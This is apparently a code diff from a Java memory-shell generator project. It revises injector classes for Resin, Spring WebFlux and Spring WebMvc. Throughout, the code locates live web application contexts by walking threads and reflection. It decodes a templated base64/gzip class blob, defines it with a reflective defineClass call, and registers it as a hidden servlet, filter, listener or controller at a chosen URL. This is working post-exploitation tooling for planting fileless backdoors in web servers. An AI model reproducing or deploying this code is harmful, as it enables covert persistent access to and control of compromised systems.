Class<?> filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
|
Class<?> filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
|
||||||
Object filterMappingImpl = filterMappingClass.newInstance();
|
Object filterMappingImpl = filterMappingClass.newInstance();
|
||||||
@@ -96,18 +137,11 @@ public class ResinFilterInjector {
|
|||||||
invokeMethod(urlPattern, "init", null, null);
|
invokeMethod(urlPattern, "init", null, null);
|
||||||
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
|
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
|
||||||
invokeMethod(context, "clearCache", null, null);
|
invokeMethod(context, "clearCache", null, null);
|
||||||
System.out.println("filter injected");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@Override
|
||||||
public boolean isInjected(Object context) throws Exception {
|
public String toString() {
|
||||||
Map<String, Object> filters = (Map) getFieldValue(getFieldValue(context, "_filterManager"), "_filters");
|
return msg;
|
||||||
for (String key : filters.keySet()) {
|
|
||||||
if (key.contains(getClassName())) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -155,7 +189,7 @@ public class ResinFilterInjector {
|
|||||||
clazz = clazz.getSuperclass();
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException();
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -184,4 +218,19 @@ public class ResinFilterInjector {
|
|||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
+76
-19
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.resin;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.Arrays;
|
import java.util.Arrays;
|
||||||
@@ -16,17 +17,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class ResinListenerInjector {
|
public class ResinListenerInjector {
|
||||||
|
|
||||||
public ResinListenerInjector() {
|
private static String msg = "";
|
||||||
try {
|
private static boolean ok = false;
|
||||||
List<Object> contexts = getContext();
|
|
||||||
for (Object context : contexts) {
|
|
||||||
Object listener = getShell(context);
|
|
||||||
inject(context, listener);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getClassName() {
|
public String getClassName() {
|
||||||
return "{{className}}";
|
return "{{className}}";
|
||||||
@@ -36,7 +28,52 @@ public class ResinListenerInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public ResinListenerInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[/*] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
@@ -52,7 +89,7 @@ public class ResinListenerInjector {
|
|||||||
contexts.add(webApp);
|
contexts.add(webApp);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return Arrays.asList(contexts.toArray());
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
@@ -66,29 +103,34 @@ public class ResinListenerInjector {
|
|||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
clazz = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
private void inject(Object context, Object listener) throws Exception {
|
private void inject(Object context, Object listener) throws Exception {
|
||||||
List<Object> listeners = (List<Object>) getFieldValue(context, "_requestListeners");
|
List<Object> listeners = (List<Object>) getFieldValue(context, "_requestListeners");
|
||||||
for (Object o : listeners) {
|
for (Object o : listeners) {
|
||||||
if (o.getClass().getName().contains(getClassName())) {
|
if (o.getClass().getName().contains(getClassName())) {
|
||||||
System.out.println("listener already injected");
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true});
|
invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true});
|
||||||
// 清除缓存,否则某些 uri 无法连接
|
// 清除缓存,否则某些 uri 无法连接
|
||||||
invokeMethod(context, "clearCache", null, null);
|
invokeMethod(context, "clearCache", null, null);
|
||||||
System.out.println("listener injected successfully");
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -136,7 +178,7 @@ public class ResinListenerInjector {
|
|||||||
clazz = clazz.getSuperclass();
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException();
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -165,4 +207,19 @@ public class ResinListenerInjector {
|
|||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
+79
-30
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.injector.resin;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.*;
|
import java.util.*;
|
||||||
@@ -14,17 +15,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class ResinServletInjector {
|
public class ResinServletInjector {
|
||||||
|
|
||||||
public ResinServletInjector() {
|
private static String msg = "";
|
||||||
try {
|
private static boolean ok = false;
|
||||||
List<Object> contexts = getContext();
|
|
||||||
for (Object context : contexts) {
|
|
||||||
Object servlet = getShell(context);
|
|
||||||
inject(context, servlet);
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
@@ -38,7 +30,52 @@ public class ResinServletInjector {
|
|||||||
return "{{base64Str}}";
|
return "{{base64Str}}";
|
||||||
}
|
}
|
||||||
|
|
||||||
public List<Object> getContext() throws Exception {
|
public ResinServletInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
Set<Object> contexts = null;
|
||||||
|
try {
|
||||||
|
contexts = getContext();
|
||||||
|
} catch (Throwable throwable) {
|
||||||
|
msg += "context error: " + getErrorMessage(throwable);
|
||||||
|
}
|
||||||
|
if (contexts == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
for (Object context : contexts) {
|
||||||
|
try {
|
||||||
|
msg += ("context: [" + getContextRoot(context) + "] ");
|
||||||
|
Object shell = getShell(context);
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getContextRoot(Object context) {
|
||||||
|
String r = null;
|
||||||
|
try {
|
||||||
|
r = (String) invokeMethod(context, "getContextPath", null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
String c = context.getClass().getName();
|
||||||
|
if (r == null) {
|
||||||
|
return c;
|
||||||
|
}
|
||||||
|
if (r.isEmpty()) {
|
||||||
|
return c + "(/)";
|
||||||
|
}
|
||||||
|
return c + "(" + r + ")";
|
||||||
|
}
|
||||||
|
|
||||||
|
public Set<Object> getContext() throws Exception {
|
||||||
Set<Object> contexts = new HashSet<Object>();
|
Set<Object> contexts = new HashSet<Object>();
|
||||||
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
Set<Thread> threads = Thread.getAllStackTraces().keySet();
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
@@ -50,7 +87,7 @@ public class ResinServletInjector {
|
|||||||
} catch (Exception ignored) {
|
} catch (Exception ignored) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return Arrays.asList(contexts.toArray());
|
return contexts;
|
||||||
}
|
}
|
||||||
|
|
||||||
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
|
||||||
@@ -64,21 +101,25 @@ public class ResinServletInjector {
|
|||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
private Object getShell(Object context) throws Exception {
|
private Object getShell(Object context) throws Exception {
|
||||||
ClassLoader classLoader = getWebAppClassLoader(context);
|
ClassLoader classLoader = getWebAppClassLoader(context);
|
||||||
|
Class<?> clazz = null;
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass(getClassName()).newInstance();
|
clazz = classLoader.loadClass(getClassName());
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
return clazz.newInstance();
|
|
||||||
}
|
}
|
||||||
|
msg += "[" + classLoader.getClass().getName() + "] ";
|
||||||
|
return clazz.newInstance();
|
||||||
}
|
}
|
||||||
|
|
||||||
private void inject(Object context, Object servlet) throws Exception {
|
private void inject(Object context, Object servlet) throws Exception {
|
||||||
if (isInjected(context)) {
|
Map<String, Object> servlets = (Map) getFieldValue(getFieldValue(context, "_servletManager"), "_servlets");
|
||||||
System.out.println("servlet already injected");
|
for (String key : servlets.keySet()) {
|
||||||
return;
|
if (key.contains(getClassName())) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
Class<?> servletMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.ServletMapping");
|
Class<?> servletMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.ServletMapping");
|
||||||
Object servletMapping = servletMappingClass.newInstance();
|
Object servletMapping = servletMappingClass.newInstance();
|
||||||
@@ -86,18 +127,11 @@ public class ResinServletInjector {
|
|||||||
invokeMethod(servletMapping, "setServletClass", new Class[]{String.class}, new Object[]{getClassName()});
|
invokeMethod(servletMapping, "setServletClass", new Class[]{String.class}, new Object[]{getClassName()});
|
||||||
invokeMethod(servletMapping, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
invokeMethod(servletMapping, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
|
||||||
invokeMethod(context, "addServletMapping", new Class[]{servletMappingClass}, new Object[]{servletMapping});
|
invokeMethod(context, "addServletMapping", new Class[]{servletMappingClass}, new Object[]{servletMapping});
|
||||||
System.out.println("servlet injected success");
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@Override
|
||||||
public boolean isInjected(Object context) throws Exception {
|
public String toString() {
|
||||||
Map<String, Object> servlets = (Map) getFieldValue(getFieldValue(context, "_servletManager"), "_servlets");
|
return msg;
|
||||||
for (String key : servlets.keySet()) {
|
|
||||||
if (key.contains(getClassName())) {
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -145,7 +179,7 @@ public class ResinServletInjector {
|
|||||||
clazz = clazz.getSuperclass();
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException();
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -174,4 +208,19 @@ public class ResinServletInjector {
|
|||||||
throw new RuntimeException("Error invoking method: " + methodName, e);
|
throw new RuntimeException("Error invoking method: " + methodName, e);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
printStream = new PrintStream(outputStream);
|
||||||
|
throwable.printStackTrace(printStream);
|
||||||
|
return outputStream.toString();
|
||||||
|
} finally {
|
||||||
|
if (printStream != null) {
|
||||||
|
printStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
-4
@@ -19,6 +19,8 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class SpringWebFluxHandlerFunctionInjector {
|
public class SpringWebFluxHandlerFunctionInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
}
|
}
|
||||||
@@ -32,10 +34,11 @@ public class SpringWebFluxHandlerFunctionInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public SpringWebFluxHandlerFunctionInjector() {
|
public SpringWebFluxHandlerFunctionInjector() {
|
||||||
|
Object webHandler = null;
|
||||||
try {
|
try {
|
||||||
Object webHandler = getWebHandler();
|
webHandler = getWebHandler();
|
||||||
Object functionObj = getShell();
|
Object shell = getShell();
|
||||||
inject(webHandler, functionObj);
|
inject(webHandler, shell);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
}
|
}
|
||||||
@@ -152,6 +155,6 @@ public class SpringWebFluxHandlerFunctionInjector {
|
|||||||
clazz = clazz.getSuperclass();
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException();
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -144,6 +144,6 @@ public class SpringWebFluxHandlerMethodInjector {
|
|||||||
clazz = clazz.getSuperclass();
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException();
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+7
-8
@@ -32,7 +32,7 @@ public class SpringWebFluxWebFilterInjector {
|
|||||||
public SpringWebFluxWebFilterInjector() {
|
public SpringWebFluxWebFilterInjector() {
|
||||||
try {
|
try {
|
||||||
FilteringWebHandler webHandler = getWebHandler();
|
FilteringWebHandler webHandler = getWebHandler();
|
||||||
Object filter = getShell();
|
Object filter = getShell(webHandler);
|
||||||
inject(webHandler, filter);
|
inject(webHandler, filter);
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
@@ -52,19 +52,18 @@ public class SpringWebFluxWebFilterInjector {
|
|||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
private Object getShell() throws Exception {
|
@SuppressWarnings("all")
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
private Object getShell(Object context) throws Exception {
|
||||||
Object interceptor = null;
|
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||||
try {
|
try {
|
||||||
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
return classLoader.loadClass(getClassName()).newInstance();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
|
byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String()));
|
||||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
defineClass.setAccessible(true);
|
defineClass.setAccessible(true);
|
||||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
interceptor = clazz.newInstance();
|
return clazz.newInstance();
|
||||||
}
|
}
|
||||||
return interceptor;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
public void inject(FilteringWebHandler webHandler, Object filter) throws Exception {
|
public void inject(FilteringWebHandler webHandler, Object filter) throws Exception {
|
||||||
@@ -117,6 +116,6 @@ public class SpringWebFluxWebFilterInjector {
|
|||||||
clazz = clazz.getSuperclass();
|
clazz = clazz.getSuperclass();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException();
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+51
-32
@@ -3,8 +3,8 @@ package com.reajason.javaweb.memshell.injector.springwebmvc;
|
|||||||
import java.io.ByteArrayInputStream;
|
import java.io.ByteArrayInputStream;
|
||||||
import java.io.ByteArrayOutputStream;
|
import java.io.ByteArrayOutputStream;
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
|
import java.io.PrintStream;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.InvocationTargetException;
|
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
@@ -16,6 +16,9 @@ import java.util.zip.GZIPInputStream;
|
|||||||
*/
|
*/
|
||||||
public class SpringWebMvcControllerHandlerInjector {
|
public class SpringWebMvcControllerHandlerInjector {
|
||||||
|
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
public String getUrlPattern() {
|
public String getUrlPattern() {
|
||||||
return "{{urlPattern}}";
|
return "{{urlPattern}}";
|
||||||
}
|
}
|
||||||
@@ -29,48 +32,46 @@ public class SpringWebMvcControllerHandlerInjector {
|
|||||||
}
|
}
|
||||||
|
|
||||||
public SpringWebMvcControllerHandlerInjector() {
|
public SpringWebMvcControllerHandlerInjector() {
|
||||||
try {
|
if (ok) {
|
||||||
Object context = getContext();
|
return;
|
||||||
Object interceptor = getShell();
|
|
||||||
inject(context, interceptor);
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
}
|
||||||
}
|
Object context = null;
|
||||||
|
|
||||||
public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
|
|
||||||
try {
|
try {
|
||||||
return classLoader.loadClass("javax.servlet.ServletContext");
|
context = getContext();
|
||||||
} catch (Throwable e) {
|
} catch (Throwable e) {
|
||||||
return classLoader.loadClass("jakarta.servlet.ServletContext");
|
msg += "context error: " + getErrorMessage(e);
|
||||||
}
|
}
|
||||||
|
if (context == null) {
|
||||||
|
msg += "context not found";
|
||||||
|
} else {
|
||||||
|
try {
|
||||||
|
Object shell = getShell();
|
||||||
|
msg += "context: [" + context + "] ";
|
||||||
|
inject(context, shell);
|
||||||
|
msg += "[" + getUrlPattern() + "] ready\n";
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "failed " + getErrorMessage(e) + "\n";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
@SuppressWarnings("unchecked")
|
||||||
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
|
public Object getContext() throws Exception {
|
||||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
Object context = null;
|
|
||||||
try {
|
try {
|
||||||
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
|
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
|
||||||
Object request = invokeMethod(requestAttributes, "getRequest");
|
Object request = invokeMethod(requestAttributes, "getRequest");
|
||||||
Object session = invokeMethod(request, "getSession");
|
return invokeMethod(request, "getAttribute", new Class[]{String.class}, new Object[]{"org.springframework.web.servlet.DispatcherServlet.CONTEXT"});
|
||||||
Object servletContext = invokeMethod(session, "getServletContext");
|
|
||||||
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
|
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
|
||||||
}
|
Object applicationContext = applicationContexts.iterator().next();
|
||||||
if (context == null) {
|
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
|
||||||
try {
|
return applicationContext;
|
||||||
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
|
|
||||||
Object applicationContext = applicationContexts.iterator().next();
|
|
||||||
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
|
|
||||||
context = applicationContext;
|
|
||||||
}
|
|
||||||
} catch (Exception e) {
|
|
||||||
e.printStackTrace();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return context;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
private Object getShell() throws Exception {
|
private Object getShell() throws Exception {
|
||||||
@@ -99,11 +100,14 @@ public class SpringWebMvcControllerHandlerInjector {
|
|||||||
Object beanNameUrlHandlerMapping = invokeMethod(context, "getBean", new Class[]{Class.class}, new Object[]{beanNameUrlHandlerMappingClass});
|
Object beanNameUrlHandlerMapping = invokeMethod(context, "getBean", new Class[]{Class.class}, new Object[]{beanNameUrlHandlerMappingClass});
|
||||||
Map<String, Object> handlerMap = (Map<String, Object>) getFieldValue(beanNameUrlHandlerMapping, "handlerMap");
|
Map<String, Object> handlerMap = (Map<String, Object>) getFieldValue(beanNameUrlHandlerMapping, "handlerMap");
|
||||||
if (handlerMap.get(getUrlPattern()) != null) {
|
if (handlerMap.get(getUrlPattern()) != null) {
|
||||||
System.out.println("controller already injected");
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
handlerMap.put(getUrlPattern(), controller);
|
handlerMap.put(getUrlPattern(), controller);
|
||||||
System.out.println("controller injected successfully");
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public String toString() {
|
||||||
|
return msg;
|
||||||
}
|
}
|
||||||
|
|
||||||
@SuppressWarnings("all")
|
@SuppressWarnings("all")
|
||||||
@@ -183,7 +187,7 @@ public class SpringWebMvcControllerHandlerInjector {
|
|||||||
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
throw new NoSuchFieldException(name);
|
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -197,4 +201,19 @@ public class SpringWebMvcControllerHandlerInjector {
|
|||||||
}
|
}
|
||||||
return null;
|
return null;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
private String getErrorMessage(Throwable throwable) {
|
||||||
|
PrintStream printStream = null;
|
||||||
|
try {
|
||||||
|
